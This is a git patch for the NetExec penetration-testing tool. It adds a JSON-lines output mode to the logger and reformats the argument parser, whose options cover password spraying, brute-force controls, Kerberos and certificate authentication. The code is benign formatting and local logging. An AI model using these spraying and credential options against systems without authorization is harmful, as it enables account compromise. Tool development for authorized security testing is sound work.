q.on_conflict_do_update(index_elements=["ip"], set_=update_columns) + + self.db_execute(q, hosts) # .scalar() + # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted + if updated_ids: + nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") + return updated_ids From 76d4d165499f591c2f2b1ecf1f2dc4005d49212a Mon Sep 17 00:00:00 2001 From: securifera Date: Sat, 29 Aug 2026 12:16:45 +0000 Subject: [PATCH 2/2] feat: retain collector JSON output on upstream sync --- nxc/cli.py | 279 +++++++++++++++++++++++++++++++++++++++++--------- nxc/logger.py | 121 ++++++++++++++++++---- 2 files changed, 332 insertions(+), 68 deletions(-) diff --git a/nxc/cli.py b/nxc/cli.py index 143352c60c..ad397096ec 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -26,27 +26,79 @@ def gen_cli_args(): DISTANCE = "" CODENAME = "Yippie-Ki-Yay" - generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) + generic_parser = argparse.ArgumentParser( + add_help=False, formatter_class=DisplayDefaultsNotNone + ) generic_group = generic_parser.add_argument_group("Generic Options") - generic_group.add_argument("--version", action="store_true", help="Display nxc version") - generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use") - generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)") - generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication") + generic_group.add_argument( + "--version", action="store_true", help="Display nxc version" + ) + generic_group.add_argument( + "-t", + "--threads", + type=int, + dest="threads", + default=256, + help="set how many concurrent threads to use", + ) + generic_group.add_argument( + "--timeout", + default=None, + type=int, + help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)", + ) + generic_group.add_argument( + "--jitter", + metavar="INTERVAL", + type=str, + help="sets a random delay between each authentication", + ) - output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) + output_parser = argparse.ArgumentParser( + add_help=False, formatter_class=DisplayDefaultsNotNone + ) output_group = output_parser.add_argument_group("Output Options") - output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan") - output_group.add_argument("--log", metavar="LOG", help="export result into a custom file") + output_group.add_argument( + "--no-progress", + action="store_true", + help="do not displaying progress bar during scan", + ) + output_group.add_argument( + "--log", metavar="LOG", help="export result into a custom file" + ) + output_group.add_argument( + "-j", "--json", action="store_true", help="output results as JSON lines" + ) log_level = output_group.add_mutually_exclusive_group() - log_level.add_argument("--verbose", action="store_true", help="enable verbose output") - log_level.add_argument("--debug", action="store_true", help="enable debug level information") + log_level.add_argument( + "--verbose", action="store_true", help="enable verbose output" + ) + log_level.add_argument( + "--debug", action="store_true", help="enable debug level information" + ) - dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) + dns_parser = argparse.ArgumentParser( + add_help=False, formatter_class=DisplayDefaultsNotNone + ) dns_group = dns_parser.add_argument_group("DNS") - dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6") - dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)") - dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries") - dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds") + dns_group.add_argument( + "-6", dest="force_ipv6", action="store_true", help="Enable force IPv6" + ) + dns_group.add_argument( + "--dns-server", + action="store", + help="Specify DNS server (default: Use hosts file & System DNS)", + ) + dns_group.add_argument( + "--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries" + ) + dns_group.add_argument( + "--dns-timeout", + action="store", + type=int, + default=3, + help="DNS query timeout in seconds", + ) parser = argparse.ArgumentParser( description=rf""" @@ -64,49 +116,174 @@ def gen_cli_args(): For documentation and usage examples, visit: https://www.netexec.wiki/ - {highlight('Version', 'red')} : {highlight(VERSION)} - {highlight('Codename', 'red')}: {highlight(CODENAME)} - {highlight('Commit', 'red')} : {highlight(COMMIT)} + {highlight("Version", "red")} : {highlight(VERSION)} + {highlight("Codename", "red")}: {highlight(CODENAME)} + {highlight("Commit", "red")} : {highlight(COMMIT)} """, formatter_class=RawTextHelpFormatter, - parents=[generic_parser, output_parser, dns_parser] + parents=[generic_parser, output_parser, dns_parser], ) # we do module arg parsing here so we can reference the module_list attribute below - module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) + module_parser = argparse.ArgumentParser( + add_help=False, formatter_class=DisplayDefaultsNotNone + ) mgroup = module_parser.add_argument_group("Modules") - mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use") - mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options") - mgroup.add_argument("-L", "--list-modules", nargs="?", type=str, const="", help="list available modules") - mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options") + mgroup.add_argument( + "-M", + "--module", + choices=get_module_names(), + action="append", + metavar="MODULE", + help="module to use", + ) + mgroup.add_argument( + "-o", + metavar="MODULE_OPTION", + nargs="+", + default=[], + dest="module_options", + help="module options", + ) + mgroup.add_argument( + "-L", + "--list-modules", + nargs="?", + type=str, + const="", + help="list available modules", + ) + mgroup.add_argument( + "--options", + dest="show_module_options", + action="store_true", + help="display module options", + ) subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol") - std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone) - std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)") + std_parser = argparse.ArgumentParser( + add_help=False, + parents=[generic_parser, output_parser, dns_parser], + formatter_class=DisplayDefaultsNotNone, + ) + std_parser.add_argument( + "target", + nargs="+" + if not ( + module_parser.parse_known_args()[0].list_modules is not None + or module_parser.parse_known_args()[0].show_module_options + or generic_parser.parse_known_args()[0].version + ) + else "*", + type=str, + help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)", + ) credential_group = std_parser.add_argument_group("Authentication") - credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames") - credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords") - credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication") - credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file") - credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)") - credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes") - credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts") - credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username") - credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host") + credential_group.add_argument( + "-u", + "--username", + metavar="USERNAME", + dest="username", + nargs="+", + default=[], + help="username(s) or file(s) containing usernames", + ) + credential_group.add_argument( + "-p", + "--password", + metavar="PASSWORD", + dest="password", + nargs="+", + default=[], + help="password(s) or file(s) containing passwords", + ) + credential_group.add_argument( + "-id", + metavar="CRED_ID", + nargs="+", + default=[], + type=str, + dest="cred_id", + help="database credential ID(s) to use for authentication", + ) + credential_group.add_argument( + "--ignore-pw-decoding", + action="store_true", + help="Ignore non UTF-8 characters when decoding the password file", + ) + credential_group.add_argument( + "--no-bruteforce", + action="store_true", + help="No spray when using file for username and password (user1 => password1, user2 => password2)", + ) + credential_group.add_argument( + "--continue-on-success", + action="store_true", + help="continues authentication attempts even after successes", + ) + credential_group.add_argument( + "--gfail-limit", + metavar="LIMIT", + type=int, + help="max number of global failed login attempts", + ) + credential_group.add_argument( + "--ufail-limit", + metavar="LIMIT", + type=int, + help="max number of failed login attempts per username", + ) + credential_group.add_argument( + "--fail-limit", + metavar="LIMIT", + type=int, + help="max number of failed login attempts per host", + ) kerberos_group = std_parser.add_argument_group("Kerberos Authentication") - kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication") - kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)") - kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)") - kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") + kerberos_group.add_argument( + "-k", "--kerberos", action="store_true", help="Use Kerberos authentication" + ) + kerberos_group.add_argument( + "--use-kcache", + action="store_true", + help="Use Kerberos authentication from ccache file (KRB5CCNAME)", + ) + kerberos_group.add_argument( + "--aesKey", + metavar="AESKEY", + nargs="+", + help="AES key to use for Kerberos Authentication (128 or 256 bits)", + ) + kerberos_group.add_argument( + "--kdcHost", + metavar="KDCHOST", + help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter", + ) certificate_group = std_parser.add_argument_group("Certificate Authentication") - certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx") - certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64") - certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate") - certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file") - certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format") + certificate_group.add_argument( + "--pfx-cert", + metavar="PFXCERT", + help="Use certificate authentication from pfx file .pfx", + ) + certificate_group.add_argument( + "--pfx-base64", + metavar="PFXB64", + help="Use certificate authentication from pfx file encoded in base64", + ) + certificate_group.add_argument( + "--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate" + ) + certificate_group.add_argument( + "--pem-cert", + metavar="PEMCERT", + help="Use certificate authentication from PEM file", + ) + certificate_group.add_argument( + "--pem-key", metavar="PEMKEY", help="Private key for the PEM format" + ) p_loader = ProtocolLoader() protocols = p_loader.get_protocols() @@ -114,9 +291,13 @@ def gen_cli_args(): try: for protocol in protocols: protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"]) - subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser]) + subparsers = protocol_object.proto_args( + subparsers, [std_parser, module_parser] + ) except Exception as e: - nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}") + nxc_logger.exception( + f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}" + ) argcomplete.autocomplete(parser, always_complete_options=False) args = parser.parse_args() @@ -145,5 +326,9 @@ def get_module_names(): ] for path in modules_paths: - modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"]) + modules.extend([ + module[:-3] + for module in listdir(path) + if module[-3:] == ".py" and module != "example_module.py" + ]) return sorted(modules, key=str.casefold) diff --git a/nxc/logger.py b/nxc/logger.py index 182686d0b9..9d87057489 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -1,4 +1,5 @@ import logging +import json from logging import LogRecord from logging.handlers import RotatingFileHandler import os.path @@ -18,6 +19,7 @@ def parse_debug_args(): debug_parser = argparse.ArgumentParser(add_help=False) debug_parser.add_argument("--debug", action="store_true") debug_parser.add_argument("--verbose", action="store_true") + debug_parser.add_argument("-j", "--json", action="store_true") args, _ = debug_parser.parse_known_args() return args @@ -42,7 +44,18 @@ def create_temp_logger(caller_frame, formatted_text, args, kwargs): temp_logger = logging.getLogger("temp") formatter = logging.Formatter("%(message)s", datefmt="[%X]") handler = SmartDebugRichHandler(formatter=formatter) - handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame)) + handler.handle( + LogRecord( + temp_logger.name, + logging.INFO, + caller_frame.f_code.co_filename, + caller_frame.f_lineno, + formatted_text, + args, + None, + caller_frame=caller_frame, + ) + ) class SmartDebugRichHandler(RichHandler): @@ -67,8 +80,11 @@ def no_debug(func): It creates a temporary logger and logs the message to the console and file This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number """ + @functools.wraps(func) def wrapper(self, msg, *args, **kwargs): + if self.json_output: + return func(self, msg, *args, **kwargs) if self.logger.getEffectiveLevel() >= logging.INFO: return func(self, msg, *args, **kwargs) else: @@ -76,20 +92,24 @@ def wrapper(self, msg, *args, **kwargs): caller_frame = inspect.currentframe().f_back create_temp_logger(caller_frame, formatted_text, args, kwargs) self.log_console_to_file(formatted_text, *args, **kwargs) + return wrapper class NXCAdapter(logging.LoggerAdapter): def __init__(self, extra=None, merge_extra=False): + self.json_output = parse_debug_args().json logging.basicConfig( format="%(message)s", datefmt="[%X]", - handlers=[RichHandler( - console=nxc_console, - rich_tracebacks=True, - tracebacks_show_locals=False - )], - encoding="utf-8" + handlers=[ + RichHandler( + console=nxc_console, + rich_tracebacks=True, + tracebacks_show_locals=False, + ) + ], + encoding="utf-8", ) self.logger = logging.getLogger("nxc") self.extra = extra @@ -113,7 +133,7 @@ def format(self, msg, *args, **kwargs): This is used instead of process() since process() applies to _all_ messages, including debug calls """ - if self.extra is None: + if self.json_output or self.extra is None: return f"{msg}", kwargs if "module_name" in self.extra and len(self.extra["module_name"]) > 11: @@ -121,17 +141,43 @@ def format(self, msg, *args, **kwargs): # If the logger is being called when hooking the 'options' module function if len(self.extra) == 1 and ("module_name" in self.extra): - return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs) + return ( + f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", + kwargs, + ) # If the logger is being called from a protocol - module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"]) + module_name = ( + colored(self.extra["module_name"], "cyan", attrs=["bold"]) + if "module_name" in self.extra + else colored(self.extra["protocol"], "blue", attrs=["bold"]) + ) + + return ( + f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", + kwargs, + ) - return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs) + def _emit_json(self, event_type, message): + record = { + "timestamp": datetime.now().isoformat(), + "type": event_type, + "message": str(message), + } + if self.extra: + record.update({ + key: value for key, value in self.extra.items() if value is not None + }) + nxc_console.print(json.dumps(record, default=str)) @no_debug def display(self, msg, *args, **kwargs): """Display text to console, formatted for nxc""" - msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs) + if self.json_output: + return self._emit_json("display", msg) + msg, kwargs = self.format( + f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs + ) text = Text.from_ansi(msg) nxc_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) @@ -139,7 +185,11 @@ def display(self, msg, *args, **kwargs): @no_debug def success(self, msg, color="green", *args, **kwargs): """Prints some sort of success to the user""" - msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs) + if self.json_output: + return self._emit_json("success", msg) + msg, kwargs = self.format( + f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs + ) text = Text.from_ansi(msg) nxc_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) @@ -147,6 +197,8 @@ def success(self, msg, color="green", *args, **kwargs): @no_debug def highlight(self, msg, *args, **kwargs): """Prints a completely yellow highlighted message to the user""" + if self.json_output: + return self._emit_json("highlight", msg) msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs) text = Text.from_ansi(msg) nxc_console.print(text, *args, **kwargs) @@ -155,7 +207,11 @@ def highlight(self, msg, *args, **kwargs): @no_debug def fail(self, msg, color="red", *args, **kwargs): """Prints a failure (may or may not be an error) - e.g. login creds didn't work""" - msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs) + if self.json_output: + return self._emit_json("fail", msg) + msg, kwargs = self.format( + f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs + ) text = Text.from_ansi(msg) nxc_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) @@ -167,15 +223,30 @@ def log_console_to_file(self, text, *args, **kwargs): so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers) """ caller_frame = inspect.currentframe().f_back.f_back.f_back - if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers + if len( + self.logger.handlers + ): # will be 0 if it's just the console output, so only do this if we actually have file loggers try: for handler in self.logger.handlers: - handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None)) + handler.handle( + LogRecord( + "nxc", + 20, + pathname=caller_frame.f_code.co_filename, + lineno=caller_frame.f_lineno, + msg=text, + args=args, + exc_info=None, + ) + ) except Exception as e: self.logger.fail(f"Issue while trying to custom print handler: {e}") def add_file_log(self, log_file=None): - file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + file_formatter = logging.Formatter( + "%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", + datefmt="%Y-%m-%d %H:%M:%S", + ) output_file = self.init_log_file() if log_file is None else log_file file_creation = False @@ -184,17 +255,25 @@ def add_file_log(self, log_file=None): with open(output_file, "x"): pass except FileNotFoundError: - print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}") + print( + f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}" + ) exit(1) file_creation = True - file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8") + file_handler = RotatingFileHandler( + output_file, maxBytes=100000, encoding="utf-8" + ) with file_handler._open() as f: if file_creation: - f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n") + f.write( + f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n" + ) else: - f.write(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n") + f.write( + f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n" + ) file_handler.setFormatter(file_formatter) self.logger.addHandler(file_handler)